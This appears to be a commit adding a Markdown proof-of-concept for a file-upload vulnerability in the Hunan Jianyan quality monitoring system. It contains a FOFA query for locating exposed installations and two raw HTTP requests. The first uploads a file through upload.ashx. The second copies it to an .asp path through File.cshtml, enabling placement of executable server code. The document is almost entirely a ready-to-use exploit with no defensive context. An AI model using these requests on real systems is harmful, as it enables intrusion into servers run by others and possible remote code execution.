Create 湖南建研质量监测系统upload.ashx文件上传漏洞.md

湖南建研质量监测系统upload.ashx文件上传漏洞.md

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+## 湖南建研质量监测系统upload.ashx文件上传漏洞
+
+## fofa
+```
+body="/Content/Theme/Standard/webSite/login.css"
+```
+
+## poc
+```
+POST /Applications/Attachment/upload.ashx HTTP/1.1
+Host: 
+Content-Type: multipart/form-data; boundary=------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Content-Length: 335
+
+--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR
+Content-Disposition: form-data; name="file";filename="123.txt"
+
+123
+--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR
+Content-Disposition: form-data; name="_upload_guid"
+123
+--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR--
+```
+
+![f846bf63220b1ecd0a62c03c66fb0924](https://github.com/wy876/POC/assets/139549762/e277303f-001d-4fa3-9f2a-a8aac3d65aba)
+
+### 将文件复制改名
+
+```
+POST /Standard/Editor/API/File.cshtml?act=geturl HTTP/1.1
+Host: 
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+X-Forwarded-Proto: 
+Accept-Language: zh-CN,zh;q=0.9
+Content-Length: 63
+
+filename=/tempData/12345667.asp&filetplpath=/tempData/123.txt
+```
+
+![271f4e479da4984ce1d40aebe30dfcc2](https://github.com/wy876/POC/assets/139549762/65de9612-4beb-47ef-80e0-c8a34aacf017)